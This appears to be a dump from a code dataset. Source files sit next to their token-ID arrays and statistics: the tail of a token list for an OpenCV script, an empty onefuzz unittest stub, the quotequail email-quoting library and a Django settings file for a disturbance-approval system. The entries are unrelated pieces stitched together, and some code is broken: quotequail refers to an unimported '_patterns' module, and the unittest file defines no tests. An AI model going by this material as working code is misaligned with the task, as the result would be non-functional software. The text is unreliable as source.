120, 168, 233, 250, 168, 120, 250, 168, 226, 250, 220, 166, 111, 226, 168, 228, 235, 47991, 112, 168, 226, 250, 23821, 233, 250, 167, 99, 105, 168, 244, 120, 35975, 226, 23821, 96, 120, 166, 111, 254, 31619, 108, 249, 35975, 234, 13, 198, 37811, 628, 628, 198, 2, 34400, 6329, 11505, 33538, 220, 47991, 101, 168, 230, 246, 31619, 114, 222, 167, 114, 226, 1783, 6329, 198, 2550, 34, 28966, 796, 269, 85, 17, 13, 34, 28966, 9487, 7483, 7, 3099, 5605, 28966, 62, 7753, 8, 220, 1303, 23821, 244, 120, 166, 113, 112, 220, 47991, 247, 168, 232, 113, 220, 169, 234, 234, 35975, 120, 31619, 114, 230, 167, 253, 105, 168, 246, 97, 166, 116, 108, 628, 198, 2, 4151, 34, 28966, 796, 269, 85, 17, 13, 34, 28966, 9487, 7483, 7, 4458, 14, 3099, 5605, 28966, 14, 3099, 5605, 28966, 62, 25379, 13, 19875, 11537, 628, 198, 15588, 62, 27144, 495, 796, 269, 85, 17, 13, 10798, 49630, 7, 15, 8, 198, 47050, 7575, 796, 657, 198, 198, 2, 34400, 6329, 168, 112, 230, 166, 116, 108, 169, 247, 242, 31619, 114, 222, 167, 114, 226, 1783, 6329, 198, 961, 62, 16663, 796, 4704, 278, 13, 16818, 7, 16793, 28, 961, 62, 46911, 11, 26498, 16193, 446, 84, 2879, 11, 4008, 198, 961, 62, 16663, 13, 9688, 3419, 198, 21280, 62, 16663, 796, 4704, 278, 13, 16818, 7, 16793, 28, 21280, 62, 46911, 11, 26498, 16193, 446, 84, 2879, 11, 4008, 198, 21280, 62, 16663, 13, 9688, 3419, 198, 45016, 62, 16663, 796, 4704, 278, 13, 16818, 7, 16793, 28, 42503, 62, 45016, 8, 198, 45016, 62, 16663, 13, 9688, 3419, 198, 65, 2290, 16271, 62, 16663, 796, 4704, 278, 13, 16818, 7, 16793, 28, 1136, 62, 65, 2290, 16271, 8, 198, 65, 2290, 16271, 62, 16663, 13, 9688, 3419, 198, 198, 2, 34400, 6329, 167, 108, 246, 167, 111, 113, 167, 105, 116, 31619, 114, 222, 167, 114, 226, 1783, 6329, 198, 4514, 6407, 25, 198, 220, 220, 220, 4808, 11, 5739, 796, 2008, 62, 27144, 495, 13, 961, 3419, 198, 220, 220, 220, 1090, 7575, 796, 640, 13, 2435, 3419, 198, 220, 220, 220, 792, 796, 1090, 7575, 532, 8654, 7575, 198, 220, 220, 220, 8654, 7575, 796, 1090, 7575, 198, 220, 220, 220, 32977, 796, 352, 1220, 792, 198, 220, 220, 220, 32977, 796, 366, 37, 3705, 1058, 4064, 15, 13, 16, 69, 1, 4064, 32977, 198, 220, 220, 220, 5739, 796, 545, 26791, 13, 411, 1096, 7, 33967, 17, 13, 2704, 541, 7, 14535, 11, 352, 828, 9647, 28, 19504, 11, 6001, 28, 16102, 8, 220, 1303, 31619, 251, 120, 168, 99, 230, 167, 110, 254, 167, 99, 105, 169, 234, 234, 35975, 112, 23821, 245, 108, 168, 224, 108, 167, 254, 98, 31619, 114, 222, 168, 94, 109, 168, 250, 120, 167, 94, 250, 220, 47991, 112, 168, 225, 223, 167, 237, 226, 31619, 99, 105, 168, 8955, 35975, 112, 168, 99, 230, 198, 220, 220, 220, 12768, 796, 269, 85, 17, 13, 33967, 83, 10258, 7, 14535, 11, 269, 85, 17, 13, 46786, 62, 33, 10761, 17, 38, 30631, 8, 198, 220, 220, 220, 21978, 796, 4886, 7, 44605, 11, 5739, 8, 198, 220, 220, 220, 269, 85, 17, 13, 2554, 9248, 7, 14535, 11, 357, 11442, 11, 7982, 828, 357, 21536, 11, 3126, 828, 357, 15, 11, 657, 11, 14280, 828, 362, 8, 198, 220, 220, 220, 269, 85, 17, 13, 1996, 8206, 7, 5171, 11017, 11, 32977, 11, 357, 15, 11, 1511, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 269, 85, 17, 13, 37, 35830, 62, 39, 4877, 13909, 56, 62, 48913, 16437, 55, 11, 657, 13, 22, 11, 357, 15, 11, 14280, 11, 657, 4008, 198, 220, 220, 220, 269, 85, 17, 13, 320, 12860, 10786, 5171, 11017, 3256, 21978, 8, 198, 220, 220, 220, 611, 269, 85, 17, 13, 17077, 9218, 7, 1270, 8, 6624, 2681, 25, 220, 1303, 3671, 31619, 230, 234, 167, 254, 222, 35975, 226, 167, 243, 234, 23821, 95, 227, 167, 96, 234, 198, 220, 220, 220, 220, 220, 220, 220, 2270, 198, 198, 15588, 62, 27144, 495, 13, 20979, 3419, 198, 33967, 17, 13, 41659, 3237, 11209, 3419, 198 ]
2.024857
1,046
#!/usr/bin/env python # # Copyright (c) Microsoft Corporation. # Licensed under the MIT License. import unittest from onefuzztypes.validators import check_alnum_dash if __name__ == "__main__": unittest.main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 198, 2, 15069, 357, 66, 8, 5413, 10501, 13, 198, 2, 49962, 739, 262, 17168, 13789, 13, 198, 198, 11748, 555, 715, 395, 198, 198, 6738, 530, 69, 4715, 19199, 13, 12102, 2024, 1330, 2198, 62, 282, 22510, 62, 42460, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 555, 715, 395, 13, 12417, 3419, 198 ]
2.945946
74
# -*- coding: utf-8 -*- # quotequail # a library that identifies quoted text in email messages import re from . import _internal __all__ = ['quote', 'quote_html', 'unwrap', 'unwrap_html'] def quote(text, limit=1000): """ Takes a plain text message as an argument, returns a list of tuples. The first argument of the tuple denotes whether the text should be expanded by default. The second argument is the unmodified corresponding text. Example: [(True, 'expanded text'), (False, '> Some quoted text')] Unless the limit param is set to None, the text will automatically be quoted starting at the line where the limit is reached. """ lines = text.split('\n') found = _internal.find_quote_position(lines, _patterns.MAX_WRAP_LINES, limit) if found != None: return [(True, '\n'.join(lines[:found+1])), (False, '\n'.join(lines[found+1:]))] return [(True, text)] def quote_html(html, limit=1000): """ Like quote(), but takes an HTML message as an argument. The limit param represents the maximum number of lines to traverse until quoting the rest of the markup. Lines are separated by block elements or <br>. """ from . import _html tree = _html.get_html_tree(html) start_refs, end_refs, lines = _html.get_line_info(tree, limit+1) found = _internal.find_quote_position(lines, 1, limit) if found == None: # No quoting found and we're below limit. We're done. return [(True, _html.render_html_tree(tree))] else: start_tree = _html.slice_tree(tree, start_refs, end_refs, (0, found+1), html_copy=html) end_tree = _html.slice_tree(tree, start_refs, end_refs, (found+1, None)) return [ (True, _html.render_html_tree(start_tree)), (False, _html.render_html_tree(end_tree)), ] def unwrap(text): """ If the passed text is the text body of a forwarded message, a reply, or contains quoted text, a dictionary with the following keys is returned: - type: "reply", "forward" or "quote" - text_top: Text at the top of the passed message (if found) - text_bottom: Text at the bottom of the passed message (if found) - from / to / subject / cc / bcc / reply-to: Corresponding header of the forwarded message, if it exists. (if found) - text: Unindented text of the wrapped message (if found) Otherwise, this function returns None. """ lines = text.split('\n') result = _internal.unwrap(lines, _patterns.MAX_WRAP_LINES, _patterns.MIN_HEADER_LINES,_patterns.MIN_QUOTED_LINES) if result: typ, top_range, hdrs, main_range, bottom_range, needs_unindent = result text_top = lines[slice(*top_range)] if top_range else '' text = lines[slice(*main_range)] if main_range else '' text_bottom = lines[slice(*bottom_range)] if bottom_range else '' if needs_unindent: text = _internal.unindent_lines(text) result = { 'type': typ, } text = '\n'.join(text).strip() text_top = '\n'.join(text_top).strip() text_bottom = '\n'.join(text_bottom).strip() if text: result['text'] = text if text_top: result['text_top'] = text_top if text_bottom: result['text_bottom'] = text_bottom if hdrs: result.update(hdrs) return result def unwrap_html(html): """ If the passed HTML is the HTML body of a forwarded message, a dictionary with the following keys is returned: - type: "reply", "forward" or "quote" - html_top: HTML at the top of the passed message (if found) - html_bottom: HTML at the bottom of the passed message (if found) - from / to / subject / cc / bcc / reply-to: Corresponding header of the forwarded message, if it exists. (if found) - html: HTML of the forwarded message (if found) Otherwise, this function returns None. """ from . import _html tree = _html.get_html_tree(html) start_refs, end_refs, lines = _html.get_line_info(tree) result = _internal.unwrap(lines, 1, _patterns.MIN_HEADER_LINES, 1) if result: typ, top_range, hdrs, main_range, bottom_range, needs_unindent = result result = { 'type': typ, } top_range = _html.trim_slice(lines, top_range) main_range = _html.trim_slice(lines, main_range) bottom_range = _html.trim_slice(lines, bottom_range) if top_range: top_tree = _html.slice_tree(tree, start_refs, end_refs, top_range, html_copy=html) html_top = _html.render_html_tree(top_tree) if html_top: result['html_top'] = html_top if bottom_range: bottom_tree = _html.slice_tree(tree, start_refs, end_refs, bottom_range, html_copy=html) html_bottom = _html.render_html_tree(bottom_tree) if html_bottom: result['html_bottom'] = html_bottom if main_range: main_tree = _html.slice_tree(tree, start_refs, end_refs, main_range) if needs_unindent: _html.unindent_tree(main_tree) html = _html.render_html_tree(main_tree) if html: result['html'] = html if hdrs: result.update(hdrs) return result
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 9577, 421, 603, 198, 2, 257, 5888, 326, 21079, 10947, 2420, 287, 3053, 6218, 198, 198, 11748, 302, 198, 198, 6738, 764, 1330, 4808, 32538, 198, 198, 834, 439, 834, 796, 37250, 22708, 3256, 705, 22708, 62, 6494, 3256, 705, 403, 37150, 3256, 705, 403, 37150, 62, 6494, 20520, 628, 198, 4299, 9577, 7, 5239, 11, 4179, 28, 12825, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 33687, 257, 8631, 2420, 3275, 355, 281, 4578, 11, 5860, 257, 1351, 286, 12777, 2374, 13, 383, 198, 220, 220, 220, 717, 4578, 286, 262, 46545, 43397, 1771, 262, 2420, 815, 307, 9902, 416, 198, 220, 220, 220, 4277, 13, 383, 1218, 4578, 318, 262, 555, 41771, 11188, 2420, 13, 628, 220, 220, 220, 17934, 25, 47527, 17821, 11, 705, 11201, 12249, 2420, 33809, 357, 25101, 11, 705, 29, 2773, 10947, 2420, 11537, 60, 628, 220, 220, 220, 17486, 262, 4179, 5772, 318, 900, 284, 6045, 11, 262, 2420, 481, 6338, 307, 10947, 198, 220, 220, 220, 3599, 379, 262, 1627, 810, 262, 4179, 318, 4251, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 3951, 796, 2420, 13, 35312, 10786, 59, 77, 11537, 628, 220, 220, 220, 1043, 796, 4808, 32538, 13, 19796, 62, 22708, 62, 9150, 7, 6615, 11, 4808, 33279, 82, 13, 22921, 62, 18564, 2969, 62, 34509, 1546, 11, 4179, 8, 628, 220, 220, 220, 611, 1043, 14512, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 47527, 17821, 11, 705, 59, 77, 4458, 22179, 7, 6615, 58, 25, 9275, 10, 16, 12962, 828, 357, 25101, 11, 705, 59, 77, 4458, 22179, 7, 6615, 58, 9275, 10, 16, 47715, 4008, 60, 628, 220, 220, 220, 1441, 47527, 17821, 11, 2420, 15437, 198, 198, 4299, 9577, 62, 6494, 7, 6494, 11, 4179, 28, 12825, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4525, 9577, 22784, 475, 2753, 281, 11532, 3275, 355, 281, 4578, 13, 383, 4179, 5772, 198, 220, 220, 220, 6870, 262, 5415, 1271, 286, 3951, 284, 38138, 1566, 28411, 262, 1334, 198, 220, 220, 220, 286, 262, 41485, 13, 26299, 389, 11266, 416, 2512, 4847, 393, 1279, 1671, 28401, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 422, 764, 1330, 4808, 6494, 628, 220, 220, 220, 5509, 796, 4808, 6494, 13, 1136, 62, 6494, 62, 21048, 7, 6494, 8, 628, 220, 220, 220, 923, 62, 5420, 82, 11, 886, 62, 5420, 82, 11, 3951, 796, 4808, 6494, 13, 1136, 62, 1370, 62, 10951, 7, 21048, 11, 4179, 10, 16, 8, 628, 220, 220, 220, 1043, 796, 4808, 32538, 13, 19796, 62, 22708, 62, 9150, 7, 6615, 11, 352, 11, 4179, 8, 628, 220, 220, 220, 611, 1043, 6624, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 1400, 28411, 1043, 290, 356, 821, 2174, 4179, 13, 775, 821, 1760, 13, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 47527, 17821, 11, 4808, 6494, 13, 13287, 62, 6494, 62, 21048, 7, 21048, 4008, 60, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 923, 62, 21048, 796, 4808, 6494, 13, 48369, 62, 21048, 7, 21048, 11, 923, 62, 5420, 82, 11, 886, 62, 5420, 82, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 357, 15, 11, 1043, 10, 16, 828, 27711, 62, 30073, 28, 6494, 8, 198, 220, 220, 220, 220, 220, 220, 220, 886, 62, 21048, 220, 220, 796, 4808, 6494, 13, 48369, 62, 21048, 7, 21048, 11, 923, 62, 5420, 82, 11, 886, 62, 5420, 82, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 357, 9275, 10, 16, 11, 6045, 4008, 628, 220, 220, 220, 1441, 685, 198, 220, 220, 220, 220, 220, 220, 220, 357, 17821, 11, 4808, 6494, 13, 13287, 62, 6494, 62, 21048, 7, 9688, 62, 21048, 36911, 198, 220, 220, 220, 220, 220, 220, 220, 357, 25101, 11, 4808, 6494, 13, 13287, 62, 6494, 62, 21048, 7, 437, 62, 21048, 36911, 198, 220, 220, 220, 2361, 198, 198, 4299, 7379, 2416, 7, 5239, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1002, 262, 3804, 2420, 318, 262, 2420, 1767, 286, 257, 28308, 3275, 11, 257, 10971, 11, 393, 198, 220, 220, 220, 4909, 10947, 2420, 11, 257, 22155, 351, 262, 1708, 8251, 318, 4504, 25, 628, 220, 220, 220, 532, 2099, 25, 366, 47768, 1600, 366, 11813, 1, 393, 366, 22708, 1, 198, 220, 220, 220, 532, 2420, 62, 4852, 25, 8255, 379, 262, 1353, 286, 262, 3804, 3275, 357, 361, 1043, 8, 198, 220, 220, 220, 532, 2420, 62, 22487, 25, 8255, 379, 262, 4220, 286, 262, 3804, 3275, 357, 361, 1043, 8, 198, 220, 220, 220, 532, 422, 1220, 284, 1220, 2426, 1220, 36624, 1220, 275, 535, 1220, 10971, 12, 1462, 25, 34428, 278, 13639, 286, 262, 198, 220, 220, 220, 220, 220, 28308, 3275, 11, 611, 340, 7160, 13, 357, 361, 1043, 8, 198, 220, 220, 220, 532, 2420, 25, 791, 521, 4714, 2420, 286, 262, 12908, 3275, 357, 361, 1043, 8, 628, 220, 220, 220, 15323, 11, 428, 2163, 5860, 6045, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 3951, 796, 2420, 13, 35312, 10786, 59, 77, 11537, 628, 220, 220, 220, 1255, 796, 4808, 32538, 13, 403, 37150, 7, 6615, 11, 4808, 33279, 82, 13, 22921, 62, 18564, 2969, 62, 34509, 1546, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 33279, 82, 13, 23678, 62, 37682, 1137, 62, 34509, 1546, 11, 62, 33279, 82, 13, 23678, 62, 10917, 2394, 1961, 62, 34509, 1546, 8, 198, 220, 220, 220, 611, 1255, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2170, 11, 1353, 62, 9521, 11, 289, 67, 3808, 11, 1388, 62, 9521, 11, 4220, 62, 9521, 11, 2476, 62, 403, 521, 298, 796, 1255, 628, 220, 220, 220, 220, 220, 220, 220, 2420, 62, 4852, 796, 3951, 58, 48369, 46491, 4852, 62, 9521, 15437, 611, 1353, 62, 9521, 2073, 10148, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 3951, 58, 48369, 46491, 12417, 62, 9521, 15437, 611, 1388, 62, 9521, 2073, 10148, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 62, 22487, 796, 3951, 58, 48369, 46491, 22487, 62, 9521, 15437, 611, 4220, 62, 9521, 2073, 10148, 628, 220, 220, 220, 220, 220, 220, 220, 611, 2476, 62, 403, 521, 298, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 4808, 32538, 13, 403, 521, 298, 62, 6615, 7, 5239, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1255, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 4906, 10354, 2170, 11, 198, 220, 220, 220, 220, 220, 220, 220, 1782, 628, 220, 220, 220, 220, 220, 220, 220, 2420, 796, 705, 59, 77, 4458, 22179, 7, 5239, 737, 36311, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 62, 4852, 796, 705, 59, 77, 4458, 22179, 7, 5239, 62, 4852, 737, 36311, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 2420, 62, 22487, 796, 705, 59, 77, 4458, 22179, 7, 5239, 62, 22487, 737, 36311, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 611, 2420, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 17816, 5239, 20520, 796, 2420, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2420, 62, 4852, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 17816, 5239, 62, 4852, 20520, 796, 2420, 62, 4852, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2420, 62, 22487, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 17816, 5239, 62, 22487, 20520, 796, 2420, 62, 22487, 628, 220, 220, 220, 220, 220, 220, 220, 611, 289, 67, 3808, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 13, 19119, 7, 31298, 3808, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 1255, 198, 198, 4299, 7379, 2416, 62, 6494, 7, 6494, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1002, 262, 3804, 11532, 318, 262, 11532, 1767, 286, 257, 28308, 3275, 11, 257, 22155, 198, 220, 220, 220, 351, 262, 1708, 8251, 318, 4504, 25, 628, 220, 220, 220, 532, 2099, 25, 366, 47768, 1600, 366, 11813, 1, 393, 366, 22708, 1, 198, 220, 220, 220, 532, 27711, 62, 4852, 25, 11532, 379, 262, 1353, 286, 262, 3804, 3275, 357, 361, 1043, 8, 198, 220, 220, 220, 532, 27711, 62, 22487, 25, 11532, 379, 262, 4220, 286, 262, 3804, 3275, 357, 361, 1043, 8, 198, 220, 220, 220, 532, 422, 1220, 284, 1220, 2426, 1220, 36624, 1220, 275, 535, 1220, 10971, 12, 1462, 25, 34428, 278, 13639, 286, 262, 198, 220, 220, 220, 220, 220, 28308, 3275, 11, 611, 340, 7160, 13, 357, 361, 1043, 8, 198, 220, 220, 220, 532, 27711, 25, 11532, 286, 262, 28308, 3275, 357, 361, 1043, 8, 628, 220, 220, 220, 15323, 11, 428, 2163, 5860, 6045, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 422, 764, 1330, 4808, 6494, 628, 220, 220, 220, 5509, 796, 4808, 6494, 13, 1136, 62, 6494, 62, 21048, 7, 6494, 8, 628, 220, 220, 220, 923, 62, 5420, 82, 11, 886, 62, 5420, 82, 11, 3951, 796, 4808, 6494, 13, 1136, 62, 1370, 62, 10951, 7, 21048, 8, 628, 220, 220, 220, 1255, 796, 4808, 32538, 13, 403, 37150, 7, 6615, 11, 352, 11, 4808, 33279, 82, 13, 23678, 62, 37682, 1137, 62, 34509, 1546, 11, 352, 8, 628, 220, 220, 220, 611, 1255, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2170, 11, 1353, 62, 9521, 11, 289, 67, 3808, 11, 1388, 62, 9521, 11, 4220, 62, 9521, 11, 2476, 62, 403, 521, 298, 796, 1255, 628, 220, 220, 220, 220, 220, 220, 220, 1255, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 4906, 10354, 2170, 11, 198, 220, 220, 220, 220, 220, 220, 220, 1782, 628, 220, 220, 220, 220, 220, 220, 220, 1353, 62, 9521, 796, 4808, 6494, 13, 2213, 320, 62, 48369, 7, 6615, 11, 1353, 62, 9521, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1388, 62, 9521, 796, 4808, 6494, 13, 2213, 320, 62, 48369, 7, 6615, 11, 1388, 62, 9521, 8, 198, 220, 220, 220, 220, 220, 220, 220, 4220, 62, 9521, 796, 4808, 6494, 13, 2213, 320, 62, 48369, 7, 6615, 11, 4220, 62, 9521, 8, 628, 220, 220, 220, 220, 220, 220, 220, 611, 1353, 62, 9521, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1353, 62, 21048, 796, 4808, 6494, 13, 48369, 62, 21048, 7, 21048, 11, 923, 62, 5420, 82, 11, 886, 62, 5420, 82, 11, 1353, 62, 9521, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 27711, 62, 30073, 28, 6494, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 27711, 62, 4852, 796, 4808, 6494, 13, 13287, 62, 6494, 62, 21048, 7, 4852, 62, 21048, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 27711, 62, 4852, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 17816, 6494, 62, 4852, 20520, 796, 27711, 62, 4852, 628, 220, 220, 220, 220, 220, 220, 220, 611, 4220, 62, 9521, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4220, 62, 21048, 796, 4808, 6494, 13, 48369, 62, 21048, 7, 21048, 11, 923, 62, 5420, 82, 11, 886, 62, 5420, 82, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4220, 62, 9521, 11, 27711, 62, 30073, 28, 6494, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 27711, 62, 22487, 796, 4808, 6494, 13, 13287, 62, 6494, 62, 21048, 7, 22487, 62, 21048, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 27711, 62, 22487, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 17816, 6494, 62, 22487, 20520, 796, 27711, 62, 22487, 628, 220, 220, 220, 220, 220, 220, 220, 611, 1388, 62, 9521, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1388, 62, 21048, 796, 4808, 6494, 13, 48369, 62, 21048, 7, 21048, 11, 923, 62, 5420, 82, 11, 886, 62, 5420, 82, 11, 1388, 62, 9521, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2476, 62, 403, 521, 298, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 6494, 13, 403, 521, 298, 62, 21048, 7, 12417, 62, 21048, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 27711, 796, 4808, 6494, 13, 13287, 62, 6494, 62, 21048, 7, 12417, 62, 21048, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 27711, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 17816, 6494, 20520, 796, 27711, 628, 220, 220, 220, 220, 220, 220, 220, 611, 289, 67, 3808, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 13, 19119, 7, 31298, 3808, 8, 628, 220, 220, 220, 1441, 1255, 198 ]
2.342472
2,371
from django.core.exceptions import ImproperlyConfigured import os, hashlib import confy BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) confy.read_environment_file(BASE_DIR+"/.env") os.environ.setdefault("BASE_DIR", BASE_DIR) from ledger.settings_base import * ROOT_URLCONF = 'disturbance.urls' SITE_ID = 1 DEPT_DOMAINS = env('DEPT_DOMAINS', ['dpaw.wa.gov.au', 'dbca.wa.gov.au']) SUPERVISOR_STOP_CMD = env('SUPERVISOR_STOP_CMD') SYSTEM_MAINTENANCE_WARNING = env('SYSTEM_MAINTENANCE_WARNING', 24) # hours DISABLE_EMAIL = env('DISABLE_EMAIL', False) MEDIA_APP_DIR = env('MEDIA_APP_DIR', 'das') MEDIA_APIARY_DIR = env('MEDIA_APIARY_DIR', 'apiary') SPATIAL_DATA_DIR = env('SPATIAL_DATA_DIR', 'spatial_data') ANNUAL_RENTAL_FEE_GST_EXEMPT = True INSTALLED_APPS += [ 'reversion_compare', 'bootstrap3', 'disturbance', 'disturbance.components.main', 'disturbance.components.organisations', 'disturbance.components.users', 'disturbance.components.proposals', 'disturbance.components.approvals', 'disturbance.components.compliances', 'disturbance.components.das_payments', 'taggit', 'rest_framework', 'rest_framework_datatables', 'rest_framework_gis', 'reset_migrations', 'ckeditor', 'smart_selects', ] ADD_REVERSION_ADMIN=True # maximum number of days allowed for a booking WSGI_APPLICATION = 'disturbance.wsgi.application' '''REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': ( 'disturbance.perms.OfficerPermission', ) }''' #REST_FRAMEWORK = { # 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination', # #'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination', # 'PAGE_SIZE': 5 #} REST_FRAMEWORK = { 'DEFAULT_RENDERER_CLASSES': ( 'rest_framework.renderers.JSONRenderer', 'rest_framework.renderers.BrowsableAPIRenderer', 'rest_framework_datatables.renderers.DatatablesRenderer', ), #'DEFAULT_FILTER_BACKENDS': ( # 'rest_framework_datatables.filters.DatatablesFilterBackend', #), #'DEFAULT_PAGINATION_CLASS': 'rest_framework_datatables.pagination.DatatablesPageNumberPagination', #'PAGE_SIZE': 20, } USE_DJANGO_JQUERY= True # JQUERY_URL = True MIDDLEWARE_CLASSES += [ 'disturbance.middleware.BookingTimerMiddleware', 'disturbance.middleware.FirstTimeNagScreenMiddleware', 'disturbance.middleware.RevisionOverrideMiddleware', 'disturbance.middleware.DomainDetectMiddleware', ] TEMPLATES[0]['DIRS'].append(os.path.join(BASE_DIR, 'disturbance', 'templates')) TEMPLATES[0]['DIRS'].append(os.path.join(BASE_DIR, 'disturbance','components','organisations', 'templates')) TEMPLATES[0]['DIRS'].append(os.path.join(BASE_DIR, 'disturbance','components','emails', 'templates')) TEMPLATES[0]['OPTIONS']['context_processors'].append('disturbance.context_processors.apiary_url') del BOOTSTRAP3['css_url'] #BOOTSTRAP3 = { # 'jquery_url': '//static.dpaw.wa.gov.au/static/libs/jquery/2.2.1/jquery.min.js', # 'base_url': '//static.dpaw.wa.gov.au/static/libs/twitter-bootstrap/3.3.6/', # 'css_url': None, # 'theme_url': None, # 'javascript_url': None, # 'javascript_in_head': False, # 'include_jquery': False, # 'required_css_class': 'required-form-field', # 'set_placeholder': False, #} CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', 'LOCATION': os.path.join(BASE_DIR, 'disturbance', 'cache'), } } STATIC_ROOT=os.path.join(BASE_DIR, 'staticfiles_ds') STATICFILES_DIRS.append(os.path.join(os.path.join(BASE_DIR, 'disturbance', 'static'))) DEV_STATIC = env('DEV_STATIC',False) DEV_STATIC_URL = env('DEV_STATIC_URL') if DEV_STATIC and not DEV_STATIC_URL: raise ImproperlyConfigured('If running in DEV_STATIC, DEV_STATIC_URL has to be set') DATA_UPLOAD_MAX_NUMBER_FIELDS = None # Department details SYSTEM_NAME = env('SYSTEM_NAME', 'Disturbance Approval System') APIARY_SYSTEM_NAME = env('APIARY_SYSTEM_NAME', 'Apiary System') SYSTEM_NAME_SHORT = env('SYSTEM_NAME_SHORT', 'DAS') SITE_PREFIX = env('SITE_PREFIX') SITE_DOMAIN = env('SITE_DOMAIN') SUPPORT_EMAIL = env('SUPPORT_EMAIL', SYSTEM_NAME_SHORT.lower() + '@' + SITE_DOMAIN).lower() APIARY_SUPPORT_EMAIL = env('APIARY_SUPPORT_EMAIL', SUPPORT_EMAIL).lower() DEP_URL = env('DEP_URL','www.' + SITE_DOMAIN) DEP_PHONE = env('DEP_PHONE','(08) 9219 9000') DEP_PHONE_SUPPORT = env('DEP_PHONE_SUPPORT','(08) 9219 9000') DEP_FAX = env('DEP_FAX','(08) 9423 8242') DEP_POSTAL = env('DEP_POSTAL','Locked Bag 104, Bentley Delivery Centre, Western Australia 6983') DEP_NAME = env('DEP_NAME','Department of Biodiversity, Conservation and Attractions') DEP_NAME_SHORT = env('DEP_NAME_SHORT','DBCA') SITE_URL = env('SITE_URL', 'https://' + '.'.join([SITE_PREFIX, SITE_DOMAIN]).strip('.')) PUBLIC_URL=env('PUBLIC_URL', SITE_URL) EMAIL_FROM = env('EMAIL_FROM', 'no-reply@' + SITE_DOMAIN).lower() 